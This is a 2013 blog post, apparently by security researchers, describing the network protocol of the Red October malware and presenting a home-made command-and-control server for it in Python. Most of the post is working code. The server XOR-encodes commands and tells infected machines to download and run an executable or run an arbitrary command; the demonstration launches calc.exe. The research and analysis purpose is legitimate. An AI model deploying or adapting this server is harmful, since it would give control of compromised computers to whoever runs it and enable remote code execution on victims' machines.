Home made Red October C&C

Published on 2013-01-16 20:00:00.

After our previous analyses of the malware Red October available here:

We decided to understand the protocol used by this malware. After understanding the protocole we made a short C&C using python.

Network protocol

For example the feature named 0x3 is used to download a file and execute the file on the infected machine.

Here is the format of the network packet:

The server uses a XOR to encode this data before sending them to the infected machine.

Code source

Here is the code source of the C&C, this POC supports download+execute and execute:

#!/bin/python
import SocketServer
import sys
import os
import logging
import struct
import subprocess
import time
import struct

logging.getLogger().setLevel(logging.DEBUG)
seed = 0x12345

def rand():
   global seed
   seed = (seed * 0x343FD) + 0x269EC3
   return (seed >> 0x10) & 0x7FFF 
   
def encode(data):
   global seed
   seed = 0x12345
   out = ''
   for c in data:
       out += chr((ord(c) ^ (rand()&0xff)) & 0xff)
   return out
   
class CCTCPHandler(SocketServer.BaseRequestHandler):
   def uploadexec(self, localfile, targetfilename):
       cmdid = struct.pack('<I', 0x3) # action
       
       data = struct.pack('<I', 0x1)  # install in TEMP
       data += "foo.exe\x00"          # filename
       data += open('./a.exe').read() # file data
       
       length = struct.pack('<I', len(data)) # length of the payload
       return cmdid + length + data
   
   def execute(self, cmd):
       cmdid = struct.pack('<I', 0x4) # action
       data = struct.pack('<I', 0x0)  # install in TEMP
       data += "%s\x00" % (cmd)       # command
       
       length = struct.pack('<I', len(data)) # length of the payload
       return cmdid + length + data
   
   def setup(self):
       logging.info("%s:%s connected", 
           self.client_address[0], self.client_address[1])
   
   def finish(self):
       logging.info("%s:%s disconnected", 
           self.client_address[0], self.client_address[1])
   
   def handle(self):
       data = self.request.recv(2048)
       logging.info("%s:%s recv data %d", 
           self.client_address[0], self.client_address[1], len(data))
       temp = data.split("\r\n\r\n")
   
       headers_recv = temp[0]
       print headers_recv
       if headers_recv[0:4] == "POST":
           content = "".join(temp[1:])
           print content
       else:
           content = "".join(temp[1:])
           print content
       
   
       #resp = self.uploadexec('source.exe', 'target.exe')
       resp = self.execute('C:\\Windows\\system32\\calc.exe')
       resp = encode(resp)
       
       headers = "HTTP/1.1 200 Found\r\nContent-Length: %d\r\n\r\n" % (len(resp))
       self.request.sendall(headers + resp)
   
if __name__ == "__main__":
   listen = ("0.0.0.0", 80)
   print "Listening on %s:%d" % listen
   server = SocketServer.TCPServer(listen, CCTCPHandler)
   server.serve_forever()